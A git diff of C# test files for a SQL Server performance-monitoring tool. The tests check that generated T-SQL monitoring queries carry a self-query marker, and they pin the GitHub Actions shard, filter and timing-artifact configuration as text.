+        Assert.True(unbuildable.Count == 0, "queries that could not be built:\n" + string.Join("\n", unbuildable.Take(20)));
+        Assert.True(missing.Count == 0, "inner sp_executesql batches without the " + QueryStoreCollector.SelfQueryMarker + " marker:\n" + string.Join("\n", missing));
+    }
+
+    [Fact]
+    public void TheInnerBatchExtraction_FindsLiteralVariableAndNestedBatches_AndSkipsComments()
+    {
+        const string Sql = @"
+/* it's a comment with an apostrophe, sp_executesql N'not a batch' */
+-- another one's comment
+EXEC sys.sp_executesql N'SELECT 1 /* a */ WHERE x = N''y'';', N'@o int OUTPUT', @o = @p OUTPUT;
+DECLARE @b nvarchar(max) = N'SELECT 2'
+    + N' FROM t;';
+EXECUTE sys.sp_executesql @b, N'@o bit OUTPUT', @o = @q OUTPUT;
+SET @w = N'EXECUTE ' + QUOTENAME(@d) + N'.sys.sp_executesql N''SELECT 3 FROM u;''';
+";
+        var batches = InnerBatches(Sql).ToList();
+
+        Assert.Contains(batches, b => b.StartsWith("SELECT 1", StringComparison.Ordinal) && b.Contains("N'y'", StringComparison.Ordinal));
+        Assert.Contains(batches, b => b.Contains("SELECT 2", StringComparison.Ordinal) && b.Contains("FROM t", StringComparison.Ordinal));
+        Assert.Contains(batches, b => b.Contains("SELECT 3", StringComparison.Ordinal));
+        Assert.DoesNotContain(batches, b => b.Contains("not a batch", StringComparison.Ordinal));
+    }
+
+    /// <summary>
+    /// The Query Store database probe builds its per-database statement into <c>@sql</c> and runs it through <c>EXECUTE @exec_sp @sql</c>.
+    /// That inner batch is what the monitored server caches and Query Store records, one row per database, so the marker has to sit in it
+    /// (V8 of the release walk: it topped Top Queries by Duration and Query Store by Duration without it).
+    /// </summary>
+    [Fact]
+    public void TheQueryStoreProbeInnerBatchCarriesTheSelfQueryMarker()
+    {
+        var probe = QueryStoreCollector.Instance.BuildEnumerationQuery(Context(new CollectorTargetInfo { SqlMajorVersion = 17 }, collectedBefore: true))!;
+        var batches = InnerBatches(probe.Text).ToList();
+
+        Assert.Contains(batches, b => b.Contains("database_query_store_options", StringComparison.Ordinal));
+        Assert.All(batches, b => Assert.Contains(QueryStoreCollector.SelfQueryMarker, b, StringComparison.Ordinal));
+    }
+
+    /// <summary>
+    /// Query Store records and ranks each statement of a batch on its own, so every top-level statement of every Query Store
+    /// query needs the marker, not only the batch's first one. The plan and text fetch by id, the backfill and the probe's result
+    /// reads were the unmarked ones (V8): their <c>SELECT ... INTO #plan_fetch</c> and the ranked <c>SELECT</c> after it ranked first
+    /// by duration on a quiet server.
+    /// </summary>
+    [Fact]
+    public void EveryTopLevelSelectOfEveryQueryStoreQueryCarriesTheSelfQueryMarker()
+    {
+        var collector = QueryStoreCollector.Instance;
+        var targets = new[]
+        {
+            new CollectorTargetInfo { SqlMajorVersion = 13 },
+            new CollectorTargetInfo { SqlMajorVersion = 17 },
+            new CollectorTargetInfo { SqlMajorVersion = 16, IsAzureSqlDb = true },
+        };
+        var queries = new List<(string Name, string Text)>();
+
+        /* Darling's shape (plan XML and query text fetched by id) and Lite's, each over the targets that change the SQL. */
+        foreach (var (target, separateFetch) in targets.SelectMany(t => new[] { (t, false), (t, true) }))
+        {
+            var context = Context(target, collectedBefore: true, planAndTextBySeparateFetch: separateFetch);
+            var floor = DateTime.UtcNow.AddDays(-2);
+            var ceiling = DateTime.UtcNow.AddDays(-1);
+
+            /* The single-statement payload is the Azure SQL DB shape; every other target enumerates databases and nests it per item. */
+            if (target.IsAzureSqlDb)
+            {
+                queries.Add(("BuildQuery", collector.BuildQuery(context).Text));
+                queries.Add(("BuildBackfillQuery", collector.BuildBackfillQuery(context, floor, ceiling).Text));
+            }
+
+            var enumeration = collector.BuildEnumerationQuery(context);
+
+            if (enumeration is not null)
+            {
+                queries.Add(("BuildEnumerationQuery", enumeration.Text));
+            }
+
+            queries.Add(("BuildPerItemQuery", collector.BuildPerItemQuery("SomeDatabase", context).Text));
+            queries.Add(("BuildBackfillPerItemQuery", collector.BuildBackfillPerItemQuery("SomeDatabase", context, floor, ceiling).Text));
+
+            if (separateFetch)
+            {
+                queries.Add(("BuildPlanFetchByIdsQuery", collector.BuildPlanFetchByIdsQuery("SomeDatabase", context, new long[] { 1, 2, 3 }, 1024 * 1024).Text));
+                queries.Add(("BuildTextFetchByIdsQuery", collector.BuildTextFetchByIdsQuery("SomeDatabase", context, new long[] { 1, 2, 3 }, 1024 * 1024).Text));
+            }
+        }
+
+        var missing = new SortedSet<string>(StringComparer.Ordinal);
+        var checkedSelects = 0;
+
+        foreach (var (name, text) in queries)
+        {
+            /* A top-level statement starts in column 0; the sub-selects and CTE bodies are indented. */
+            foreach (Match select in Regex.Matches(text, @"(?m)^SELECT\b(?<rest>[^\r\n]*)"))
+            {
+                checkedSelects++;
+
+                if (!select.Groups["rest"].Value.Contains(QueryStoreCollector.SelfQueryMarker, StringComparison.Ordinal))
+                {
+                    missing.Add(name + ": " + text.Substring(select.Index, Math.Min(60, text.Length - select.Index)).Replace("\r", "", StringComparison.Ordinal).Replace("\n", " ", StringComparison.Ordinal));
+                }
+            }
+        }
+
+        Assert.True(checkedSelects > 20, $"only {checkedSelects} top-level SELECT statements were found; the scan is not reaching them");
+        Assert.True(missing.Count == 0, "top-level Query Store statements without the " + QueryStoreCollector.SelfQueryMarker + " marker:\n" + string.Join("\n", missing));
+    }
+
+    /// <summary>
+    /// The statements that are not collectors but still run against the monitored server on a schedule or per alert: the connect-time
+    /// detection probe and start-time read, the failed-jobs read and the job-step lookup (shared with Darling through
+    /// <c>PerformanceMonitor.Alerting</c>). Each is a single statement, so the marker sits in its own text.
+    /// </summary>
+    [Fact]
+    public void TheConnectProbesAndTheAlertJobReadsCarryTheSelfQueryMarker()
+    {
+        var statements = new Dictionary<string, string>
+        {
+            ["ServerManager.DetectionQueryText"] = PerformanceMonitorLite.Services.ServerManager.DetectionQueryText,
+            ["ServerManager.ServerStartTimeQueryText"] = PerformanceMonitorLite.Services.ServerManager.ServerStartTimeQueryText,
+            ["FailedJobsQuery.Sql"] = PerformanceMonitor.Alerting.FailedJobsQuery.Sql,
+            ["AgentJobStepQuery.BuildSql"] = PerformanceMonitor.Alerting.AgentJobStepQuery.BuildSql(2),
+        };
+
+        foreach (var (name, text) in statements)
+        {
+            Assert.True(text.Contains(QueryStoreCollector.SelfQueryMarker, StringComparison.Ordinal), name + " has no " + QueryStoreCollector.SelfQueryMarker + " marker");
+        }
+    }
+
+    private sealed record SqlLiteral(int Start, int End, string Content);
+
+    /// <summary>The string literals of a T-SQL text, un-doubled, with comments skipped (an apostrophe in a comment is not a literal).</summary>
+    private static List<SqlLiteral> Literals(string sql)
+    {
+        var list = new List<SqlLiteral>();
+        var i = 0;
+
+        while (i < sql.Length)
+        {
+            if (sql[i] == '/' && i + 1 < sql.Length && sql[i + 1] == '*')
+            {
+                var end = sql.IndexOf("*/", i + 2, StringComparison.Ordinal);
+                i = end < 0 ? sql.Length : end + 2;
+            }
+            else if (sql[i] == '-' && i + 1 < sql.Length && sql[i + 1] == '-')
+            {
+                var end = sql.IndexOf('\n', i);
+                i = end < 0 ? sql.Length : end + 1;
+            }
+            else if (sql[i] == '\'')
+            {
+                var content = new StringBuilder();
+                var j = i + 1;
+
+                while (j < sql.Length)
+                {
+                    if (sql[j] == '\'')
+                    {
+                        if (j + 1 < sql.Length && sql[j + 1] == '\'')
+                        {
+                            content.Append('\'');
+                            j += 2;
+                            continue;
+                        }
+
+                        j++;
+                        break;
+                    }
+
+                    content.Append(sql[j]);
+                    j++;
+                }
+
+                list.Add(new SqlLiteral(i, j, content.ToString()));
+                i = j;
+            }
+            else
+            {
+                i++;
+            }
+        }
+
+        return list;
+    }
+
+    /// <summary>
+    /// Every inner batch an <c>sp_executesql</c> in <paramref name="sql"/> runs: the N-literal right after it, the literal(s) a variable
+    /// argument was built from (up to the statement's end), and, recursively, the batches inside a literal that itself calls
+    /// <c>sp_executesql</c> (the per-database quote-doubled wrappers).
+    /// </summary>
+    private static IEnumerable<string> InnerBatches(string sql)
+    {
+        var literals = Literals(sql);
+
+        for (var k = 0; k < literals.Count; k++)
+        {
+            var lit = literals[k];
+            var before = sql[Math.Max(0, lit.Start - 80)..lit.Start];
+
+            if (Regex.IsMatch(before, @"sp_executesql\s+N$", RegexOptions.IgnoreCase))
+            {
+                yield return lit.Content;
+            }
+
+            if (lit.Content.Contains("sp_executesql", StringComparison.OrdinalIgnoreCase))
+            {
+                foreach (var nested in InnerBatches(lit.Content))
+                {
+                    yield return nested;
+                }
+            }
+        }
+
+        foreach (Match call in Regex.Matches(sql, @"(?:sp_executesql|EXECUTE\s+@\w+)\s+(@\w+)", RegexOptions.IgnoreCase))
+        {
+            var variable = Regex.Escape(call.Groups[1].Value);
+            var start = -1;
+
+            for (var k = 0; k < literals.Count && literals[k].Start < call.Index; k++)
+            {
+                if (Regex.IsMatch(sql[Math.Max(0, literals[k].Start - 80)..literals[k].Start], variable + @"\b[^;=]*=\s*(?:CAST\(\s*)?N$", RegexOptions.IgnoreCase))
+                {
+                    start = k;
+                }
+            }
+
+            if (start < 0)
+            {
+                yield return "(variable " + call.Groups[1].Value + " is not built from a literal in this query)";
+                continue;
+            }
+
+            var text = new StringBuilder(literals[start].Content);
+
+            for (var k = start + 1; k < literals.Count && literals[k].Start < call.Index; k++)
+            {
+                var gap = sql[literals[k - 1].End..literals[k].Start];
+
+                if (gap.Contains(';', StringComparison.Ordinal))
+                {
+                    break;
+                }
+
+                text.Append(literals[k].Content);
+            }
+
+            yield return text.ToString();
+        }
+    }
+}
diff --git a/Lite.Tests/ComparisonWindowUtcTests.cs b/Lite.Tests/ComparisonWindowUtcTests.cs
index 4246083b51..2778a48eab 100644
--- a/Lite.Tests/ComparisonWindowUtcTests.cs
+++ b/Lite.Tests/ComparisonWindowUtcTests.cs
@@ -113,11 +113,13 @@ public void ComparisonCallSites_TakeUtcBounds_NotServerLocalOnes()
             $"the adjacent banner call uses (found {pairedCalls.Count}) -- a divergent tuple means the comparison " +
             "and the banner could disagree about the window again (#4284).");
 
-        // CompareToCombo_SelectionChanged routes its three comparison refreshes through the same
-        // GetQueriesTabWindowUtc tuple the grid reads use, not a bare DateTime.UtcNow/fromDate pair.
-        Assert.Contains(
-            "var (currentStart, currentEnd) = LocalDataService.GetQueriesTabWindowUtc(hoursBack, fromDate, toDate);",
-            comparisonSource);
+        // #5371: CompareToCombo_SelectionChanged no longer builds a window of its own: it asks the refresh
+        // coordinator for the visible tab, whose reads are the six Refresh.cs calls pinned above (the SAME
+        // GetQueriesTabWindowUtc tuple as the grid beside each). So nothing in the handler may call a comparison
+        // read with a window it made up (a bare DateTime.UtcNow/fromDate pair).
+        Assert.False(Regex.IsMatch(comparisonSource, @"Refresh(?:QueryStats|ProcStats|QueryStore)ComparisonAsync\((?!DateTime currentStart)"),
+            "ServerTab.Comparison.cs calls a comparison read directly (#5371): it must go through the coordinator's pass, " +
+            "which reads each comparison over the grid's own UTC window (#4284).");
     }
 
     private static string ControlsFile(string name) => Path.Combine(ControlsDir(), name);
diff --git a/Lite.Tests/CpuHoverStoredWallClockTests.cs b/Lite.Tests/CpuHoverStoredWallClockTests.cs
index c944719b9c..1e66d7fecd 100644
--- a/Lite.Tests/CpuHoverStoredWallClockTests.cs
+++ b/Lite.Tests/CpuHoverStoredWallClockTests.cs
@@ -355,7 +355,7 @@ public void TheHoverPredicate_IsNull_WhenNoRowIsMarked()
     [Fact]
     public void ClearingTheHover_DropsThePredicate()
     {
-        var afterClear = OnStaThread(() =>
+        var afterClear = StaTestThread.Run(() =>
         {
             var chart = new ScottPlot.WPF.WpfPlot();
             var hover = new ChartHoverHelper(chart, "%", displayZone: () => TimeZoneInfo.Utc);
@@ -423,24 +423,4 @@ private async Task SeedCpuAsync(DateTime sampleTimeServerLocal, DateTime? sample
         await cmd.ExecuteNonQueryAsync();
     }
 
-    private static T OnStaThread<T>(Func<T> body)
-    {
-        T result = default!;
-        Exception? error = null;
-        var thread = new Thread(() =>
-        {
-            try { result = body(); }
-            catch (Exception ex) { error = ex; }
-        });
-        thread.SetApartmentState(ApartmentState.STA);
-        thread.Start();
-        thread.Join();
-
-        if (error is not null)
-        {
-            throw error;
-        }
-
-        return result;
-    }
 }
diff --git a/Lite.Tests/CpuSchedulerStatsCollectorDefinitionTests.cs b/Lite.Tests/CpuSchedulerStatsCollectorDefinitionTests.cs
index 75f5989b83..3bbbcabf41 100644
--- a/Lite.Tests/CpuSchedulerStatsCollectorDefinitionTests.cs
+++ b/Lite.Tests/CpuSchedulerStatsCollectorDefinitionTests.cs
@@ -28,7 +28,7 @@ public sealed class CpuSchedulerStatsCollectorDefinitionTests
     private const string ExpectedQuery = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     max_workers_count = osi.max_workers_count,
     scheduler_count = osi.scheduler_count,
     cpu_count = osi.cpu_count,
diff --git a/Lite.Tests/CrossAppGuardCiGateTests.cs b/Lite.Tests/CrossAppGuardCiGateTests.cs
index 2814302078..e5d8b27390 100644
--- a/Lite.Tests/CrossAppGuardCiGateTests.cs
+++ b/Lite.Tests/CrossAppGuardCiGateTests.cs
@@ -82,6 +82,7 @@ namespace Lite.Tests;
 /// EQUALITY against what the filter could not reach, and honoured only while
 /// <see cref="WholeTreeBackstopIsIntact"/> holds.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
 public class CrossAppGuardCiGateTests
 {
     /* Which filter gates which suite, per build.yml's "Run Lite tests (shard)" / "Run Darling tests"
@@ -224,7 +225,11 @@ reference would vanish rather than be reported wrong. */
     };
 
     /// <summary>The exact command <c>darling-tree-guards</c> has to run for anything in
-    /// <see cref="DarlingTestsBackstopped"/> to be covered: the WHOLE Darling suite.
+    /// <see cref="DarlingTestsBackstopped"/> to be covered: the WHOLE Darling suite. Since #5459 change 2 the
+    /// Stage=Guard classes are left out of it exactly when the job used the Guard job's build of the same run
+    /// (<see cref="BackstopGuardFilterLine"/>, the only argument it may carry): that job ran them on the very
+    /// same binaries, so every class still runs once per run. Without the artifact the job builds for itself and
+    /// the filter is empty, which is the whole suite as before.
     ///
     /// <para>Compared as a whole line rather than searched for as a substring, which is the difference
     /// between a bound and a hope. A <c>-class</c> or <c>-method</c> filter appended to this invocation
@@ -232,7 +237,13 @@ reference would vanish rather than be reported wrong. */
     /// had stopped running the two twin guards the exemptions above name — and those exemptions would
     /// then be the only thing standing between an unreachable read and a green build.</para></summary>
     private const string BackstopRunLine =
-        "run: dotnet run --project Darling/Darling.Tests/Darling.Tests.csproj -c Release --no-build";
+        "dotnet run --project Darling/Darling.Tests/Darling.Tests.csproj -c Release --no-build -- @guardFilter";
+
+    /// <summary>The one statement that decides whether the backstop leaves the Guard classes out: only when the
+    /// job's own check proved it used the Guard job's build of this run (a separate step output, pinned by
+    /// GuardStageWorkflowTests).</summary>
+    private const string BackstopGuardFilterLine =
+        "$guardFilter = @(if ($env:GUARD_BUILD_USED -eq 'true') { '-trait-'; 'Stage=Guard' })";
 
     [Fact]
     public void TheGlobMatcher_AgreesWithKnownAnswers()
@@ -1333,15 +1344,17 @@ public void EveryCrossAppSourceRead_IsReachableByTheFilterThatGatesItsSuite()
                whether the suite runs on a pull request. The copy is pinned byte-equal to the build
                job's 'lite' by TheShardJobsFilters_AreByteForByteCopiesOfTheBuildJobs, so reading
                either set here asserts the same reachability. */
-            filterName: "lite_shard",
-            gatingStep: "Run Lite tests (shard)",
+            filterNames: new[] { "lite_shard", "darling_reads_shard" },
+            gatingStep: "Decide how much of the Lite suite runs",
+            gatingWindow: 1600,
             backstopped: null);
 
         Check(repo, yaml, failures,
             scannedProject: DarlingTestsDir,
             other: LiteTrees,
-            filterName: "darling",
+            filterNames: new[] { "darling" },
             gatingStep: "Run Darling tests",
+            gatingWindow: 400,
             /* This arm alone, because this arm alone has a backstop: darling-tree-guards runs the whole
                Darling suite exactly when the darling filter did not fire. There is no counterpart for
                Lite.Tests, so the Lite arm gets no exemptions at all rather than an empty list that would
@@ -1376,11 +1389,20 @@ public void TheShardJobsFilters_AreByteForByteCopiesOfTheBuildJobs()
     {
         var yaml = ReadBuildYaml(RepoRoot());
 
-        foreach (var (original, copy) in new[]
-                 { ("lite", "lite_shard"), ("core", "core_shard"), ("root", "root_shard") })
+        /* The build job's 'lite' set is carried in two blocks here: lite_shard (Lite and Lite.Tests, which
+           run the whole suite) followed by darling_reads_shard (the three Darling trees Lite.Tests reads as
+           source, which run only the classes tagged as reading them). Their concatenation, in order, is the
+           copy. */
+        foreach (var (original, copies) in new[]
+                 {
+                     ("lite", new[] { "lite_shard", "darling_reads_shard" }),
+                     ("core", new[] { "core_shard" }),
+                     ("root", new[] { "root_shard" }),
+                 })
         {
+            var copy = string.Join(" + ", copies);
             var originalPatterns = FilterPatterns(yaml, original);
-            var copiedPatterns = FilterPatterns(yaml, copy);
+            var copiedPatterns = copies.SelectMany(c => FilterPatterns(yaml, c)).ToList();
 
             /* Anti-vacuity on BOTH sides: a renamed or moved block returns an empty list, and two empty
                lists are equal — which is exactly the green that would mean this pin had stopped reading the
@@ -1397,6 +1419,31 @@ thing it is named for. */
         }
     }
 
+    /// <summary>
+    /// The Lite shard script and its packer are test inputs, so every filter that gates a Lite run names them
+    /// (#5616). Without the entries a pull request that edits only one of them ran no shard at all.
+    /// </summary>
+    [Fact]
+    public void TheLiteFilters_NameTheShardScriptAndItsPacker()
+    {
+        var yaml = ReadBuildYaml(RepoRoot());
+
+        foreach (var filter in new[] { "lite", "lite_shard", "darling", "darling_full" })
+        {
+            var patterns = FilterPatterns(yaml, filter);
+            Assert.True(patterns.Count > 0, $"build.yml's '{filter}' filter is gone");
+            Assert.Contains(".github/scripts/run-lite-shard.ps1", patterns);
+            if (filter.StartsWith("lite", StringComparison.Ordinal))
+            {
+                Assert.Contains(".github/scripts/lite-shard-pack.py", patterns);
+            }
+            else
+            {
+                Assert.Contains(".github/scripts/run-darling-pg-shard.ps1", patterns);
+            }
+        }
+    }
+
     /// <summary>
     /// The suite that reads the whole tree has to run on the whole tree.
     ///
@@ -1448,6 +1495,10 @@ DarlingTestsBackstopped rest on this job running all of them. Failing on any add
             BackstopRunLine,
             consumingJob.Split('\n').Select(line => line.Trim()),
             StringComparer.Ordinal);
+        Assert.Contains(
+            BackstopGuardFilterLine,
+            consumingJob.Split('\n').Select(line => line.Trim()),
+            StringComparer.Ordinal);
 
         /* And the same fact through the predicate the exemptions are gated on, so the two cannot drift:
            the pin above would keep passing on a yaml this returns false for if it ever stopped reading
@@ -1464,22 +1515,35 @@ private static void Check(
         List<string> failures,
         string scannedProject,
         SkuTrees other,
-        string filterName,
+        string[] filterNames,
         string gatingStep,
+        int gatingWindow,
         IReadOnlyDictionary<string, string>? backstopped)
     {
-        var patterns = FilterPatterns(yaml, filterName);
-        Assert.True(
-            patterns.Count > 0,
-            $"build.yml's '{filterName}' path filter is gone — find where it moved before editing this test");
+        /* A suite can be gated by more than one filter block: the Lite suite's Darling entries live in
+           their own block so a diff that reaches only them can run a narrower selection. The union is what
+           decides whether a read is reachable at all. */
+        var filterName = string.Join("' + '", filterNames);
+        var patterns = new List<string>();
+        foreach (var name in filterNames)
+        {
+            var named = FilterPatterns(yaml, name);
+            Assert.True(
+                named.Count > 0,
+                $"build.yml's '{name}' path filter is gone — find where it moved before editing this test");
+            patterns.AddRange(named);
+        }
 
-        /* The step must actually consume the filter, or the entries are decoration. */
+        /* The step must actually consume every filter, or the entries are decoration. */
         var step = yaml.IndexOf("name: " + gatingStep, StringComparison.Ordinal);
         Assert.True(step > 0, $"the '{gatingStep}' step is gone — find where it moved before editing this test");
-        Assert.Contains(
-            $"steps.filter.outputs.{filterName} == 'true'",
-            yaml[step..Math.Min(step + 400, yaml.Length)],
-            StringComparison.Ordinal);
+        foreach (var name in filterNames)
+        {
+            Assert.Contains(
+                $"steps.filter.outputs.{name}",
+                yaml[step..Math.Min(step + gatingWindow, yaml.Length)],
+                StringComparison.Ordinal);
+        }
 
         var scan = Scan(repo, scannedProject, other);
 
@@ -1777,7 +1841,9 @@ private static bool WholeTreeBackstopIsIntact(string yaml)
 
         return consumingJob.Contains("= \"skipped\"", StringComparison.Ordinal)
             && consumingJob.Split('\n')
-                .Any(line => line.Trim().Equals(BackstopRunLine, StringComparison.Ordinal));
+                .Any(line => line.Trim().Equals(BackstopRunLine, StringComparison.Ordinal))
+            && consumingJob.Split('\n')
+                .Any(line => line.Trim().Equals(BackstopGuardFilterLine, StringComparison.Ordinal));
     }
 
     /// <summary>Repo-relative paths naming a tree of <paramref name="other"/> that a test in
@@ -2720,6 +2786,446 @@ private static bool Matches(string pattern, string path)
         return Regex.IsMatch(path, rx.ToString());
     }
 
+    /// <summary>One job's text from build.yml: from its two-space-indented key to the next job's.</summary>
+    private static string JobBlock(string yaml, string jobKey)
+    {
+        var at = yaml.IndexOf("\n  " + jobKey + ":\n", StringComparison.Ordinal);
+        Assert.True(at >= 0, $"build.yml's '{jobKey}' job is gone — find where it moved before editing this test");
+        var rest = yaml[(at + 1)..];
+        var next = Regex.Match(rest[3..], "\n  [a-z][a-z0-9-]*:\n");
+        return next.Success ? rest[..(next.Index + 3)] : rest;
+    }
+
+    /// <summary>One step's text inside a job block: from its <c>- name:</c> line to the next step's.</summary>
+    internal static string StepBlock(string job, string stepName)
+    {
+        var at = job.IndexOf("      - name: " + stepName + "\n", StringComparison.Ordinal);
+        Assert.True(at >= 0, $"the '{stepName}' step is gone — find where it moved before editing this test");
+        var rest = job[at..];
+        var next = rest.IndexOf("\n      - ", 1, StringComparison.Ordinal);
+        return next < 0 ? rest : rest[..next];
+    }
+
+    /// <summary>
+    /// The Lite shard job's four work steps all run on the scope step's answer and on nothing else, the scope
+    /// step picks <c>reads</c> only for a pull request whose diff reaches just the Darling trees, and only
+    /// shard 0 runs in that mode. These are the lines that make the narrow run narrow, so each is pinned as
+    /// text: a step that dropped its <c>if</c> would run the whole suite in every shard on a Darling-only
+    /// diff, and one that gated on a different condition would skip real work.
+    /// </summary>
+    [Fact]
+    public void TheLiteShardJob_GatesEveryWorkStepOnTheScopeStep_AndNarrowsOnlyOnAPullRequestInShardZero()
+    {
+        var job = JobBlock(ReadBuildYaml(RepoRoot()), "lite-tests");
+
+        foreach (var name in new[] { "Setup .NET 10.0", "Restore Lite.Tests", "Build Lite.Tests", "Run Lite tests (shard)" })
+        {
+            /* Restore and build also wait for the Guard-build check (#5459 change 2): they run only when the shard did
+               not use the Guard job's build, and still only where the scope step says the suite runs. */
+            var restoreOrBuild = name is "Restore Lite.Tests" or "Build Lite.Tests";
+            Assert.Contains(
+                restoreOrBuild
+                    ? "\n        if: steps.scope.outputs.run == 'true' && steps.guard-build-check.outputs.used != 'true'\n"
+                    : "\n        if: steps.scope.outputs.run == 'true'\n",
+                StepBlock(job, name),
+                StringComparison.Ordinal);
+        }
+
+        var scope = StepBlock(job, "Decide how much of the Lite suite runs");
+        Assert.Contains("id: scope", scope, StringComparison.Ordinal);
+
+        /* The ladder (any Lite, core, root or linked-file change is the full suite; a Darling-only diff is full on
+           anything but a pull request and `reads` on a pull request; otherwise nothing) and the rule that shard 0
+           alone runs the narrow selection live in .github/scripts/ci-select.py (#5459), the one place the selection
+           rules are kept. The step passes every filter answer and the event to it, and takes its answer from there. */
+        Assert.Contains("python .github/scripts/ci-select.py lite-scope", scope, StringComparison.Ordinal);
+        foreach (var flag in new[] { "--event \"${EVENT_NAME}\"", "--shard \"${SHARD}\"", "--lite \"${LITE}\"", "--core \"${CORE}\"",
+                                     "--root \"${ROOT}\"", "--reads \"${DARLING_READS}\"", "--linked \"${LINKED}\"" })
+        {
+            Assert.Contains(flag, scope, StringComparison.Ordinal);
+        }
+
+        var script = File.ReadAllText(Path.Combine(RepoRoot(), ".github", "scripts", "ci-select.py")).Replace("\r\n", "\n");
+        var ladder = new[]
+        {
+            "if lite or core or root or linked:\n        return \"full\"",
+            "if reads and event != \"pull_request\":\n        return \"full\"",
+            "if reads:\n        return \"reads\"",
+            "    return \"reads\"\n    return \"none\"",
+        };
+        var position = -1;
+        foreach (var rung in ladder)
+        {
+            var found = script.IndexOf(rung, StringComparison.Ordinal);
+            Assert.True(found > position, $"ci-select.py's lite_scope ladder lost or reordered this rung:\n{rung}");
+            position = found;
+        }
+
+        /* Shard 0 alone runs the narrow selection; every shard runs a full one. */
+        Assert.Contains("run = mode == \"full\" or (mode == \"reads\" and args.shard == \"0\")", script, StringComparison.Ordinal);
+        Assert.Contains("SHARD: ${{ matrix.shard }}", scope, StringComparison.Ordinal);
+
+        /* And the run step honours the mode: the trait selection only in `reads`, the duration or hash cut otherwise. */
+        var run = StepBlock(job, "Run Lite tests (shard)");
+        Assert.Contains("LITE_SCOPE_MODE: ${{ steps.scope.outputs.mode }}", run, StringComparison.Ordinal);
+        Assert.Contains("-ScopeMode $env:LITE_SCOPE_MODE", run, StringComparison.Ordinal);
+        /* #5616: the cut itself is run-lite-shard.ps1, the one copy build.yml's legs and nightly.yml's legs both call. */
+        var body = ReadLiteShardScript(RepoRoot());
+        Assert.Contains("if ($ScopeMode -eq 'reads')", body, StringComparison.Ordinal);
+        Assert.Contains("Get-LiteClasses @('-trait', 'Reads=Darling')", body, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #5208: the four Lite shards cut the suite by recorded duration, and a cut is only a partition when every
+    /// shard computes it from the SAME inputs. The shards start minutes apart, so a lookup inside each shard
+    /// would race a dev run finishing in between, and a shard that fell back to the hash on its own while the
+    /// others packed by duration would leave classes in two shards or none. These are the lines that prevent
+    /// that, pinned as text because the steps only run on a hosted runner: the gate picks ONE source run, from
+    /// successful dev push runs only, with EVERY timing artifact of that run unexpired, and pins the exact
+    /// artifact names; every shard reads that pin, and a shard that cannot fetch it, or whose download is not
+    /// exactly the pinned set, fails.
+    /// </summary>
+    [Fact]
+    public void TheLiteShardCut_ComesFromOneTimingSourcePinnedByTheGate_AndNoShardFallsBackAlone()
+    {
+        var yaml = ReadBuildYaml(RepoRoot());
+
+        /* The gate pins the source once per run, reading Actions metadata and nothing else, and cannot fail. */
+        var gate = JobBlock(yaml, "gate");
+        Assert.Contains("    permissions:\n      actions: read\n", gate, StringComparison.Ordinal);
+        Assert.Contains("lite_timing_run: ${{ steps.timing.outputs.run_id }}", gate, StringComparison.Ordinal);
+        Assert.Contains("lite_timing_artifacts: ${{ steps.timing.outputs.artifacts }}", gate, StringComparison.Ordinal);
+        var pin = StepBlock(gate, "Pin the Lite timing source");
+        Assert.Contains("id: timing", pin, StringComparison.Ordinal);
+        Assert.Contains("continue-on-error: true", pin, StringComparison.Ordinal);
+        Assert.Contains("branch=dev&status=success", pin, StringComparison.Ordinal);
+        Assert.Contains("select(.event == \"push\")", pin, StringComparison.Ordinal);
+        Assert.Contains("^lite-tests-timing-[0-9]+$", pin, StringComparison.Ordinal);
+        Assert.Contains("(.expired | not)", pin, StringComparison.Ordinal);
+        Assert.Contains("env.KEEP_UNTIL", pin, StringComparison.Ordinal);
+        /* ALL of the run's timing artifacts must be fresh, not any one of them: a run whose first artifact outlives
+           the others would pass an "at least one" test and then hand a late re-run only some of its files. */
+        Assert.Contains("all(.[]; (.expired | not) and (.expires_at > env.KEEP_UNTIL))", pin, StringComparison.Ordinal);
+
+        /* The shard job may read artifacts (actions: read) and runs the packer from the pin, in the full cut only. */
+        var job = JobBlock(yaml, "lite-tests");
+        Assert.Contains("      contents: read\n", job, StringComparison.Ordinal);
+        Assert.Contains("      actions: read\n", job, StringComparison.Ordinal);
+        /* The packer's own self-test (totality, input-order determinism, the hash fallback) is the only executable
+           proof of "the same plan on every shard"; these pins are text, so without a workflow step that runs it a
+           later edit to the packer could keep every pin green and ship. Shard 0 alone runs it. */
+        Assert.Contains("run: python .github/scripts/lite-shard-pack.py --self-test", job, StringComparison.Ordinal);
+        Assert.Contains("\n        if: matrix.shard == 0\n", StepBlock(job, "Shard packer self-test"), StringComparison.Ordinal);
+        var step = StepBlock(job, "Run Lite tests (shard)");
+        Assert.Contains("LITE_TIMING_RUN: ${{ needs.gate.outputs.lite_timing_run }}", step, StringComparison.Ordinal);
+        Assert.Contains("LITE_TIMING_ARTIFACTS: ${{ needs.gate.outputs.lite_timing_artifacts }}", step, StringComparison.Ordinal);
+        Assert.Contains("GH_TOKEN: ${{ github.token }}", step, StringComparison.Ordinal);
+        /* #5616: the step hands the pin to the shard script (run-lite-shard.ps1), which does the download and the cut. */
+        Assert.Contains("-TimingRun $env:LITE_TIMING_RUN -TimingArtifacts $env:LITE_TIMING_ARTIFACTS", step, StringComparison.Ordinal);
+        Assert.Contains("-ShardCount ${{ strategy.job-total }} -JobIndex ${{ strategy.job-index }}", step, StringComparison.Ordinal);
+        Assert.Contains("-Shard ${{ matrix.shard }}", step, StringComparison.Ordinal);
+        var run = ReadLiteShardScript(RepoRoot());
+        Assert.Contains("gh run download $TimingRun --pattern 'lite-tests-timing-*'", run, StringComparison.Ordinal);
+        Assert.Contains("lite-shard-pack.py pack --classes", run, StringComparison.Ordinal);
+        Assert.Contains("lite-shard-pack.py reconcile --classes", run, StringComparison.Ordinal);
+
+        var readsAt = run.IndexOf("if ($ScopeMode -eq 'reads')", StringComparison.Ordinal);
+        var fullAt = run.IndexOf("\nelse {\n", readsAt, StringComparison.Ordinal);
+        Assert.True(readsAt > 0 && fullAt > readsAt, "the run step's reads/full branches moved — find them before editing this test");
+        Assert.DoesNotContain("lite-shard-pack", run[readsAt..fullAt], StringComparison.Ordinal);
+        Assert.Contains("lite-shard-pack", run[fullAt..], StringComparison.Ordinal);
+
+        /* The shard count is the matrix's, never a literal: a literal 4 left behind by a matrix change drops classes. */
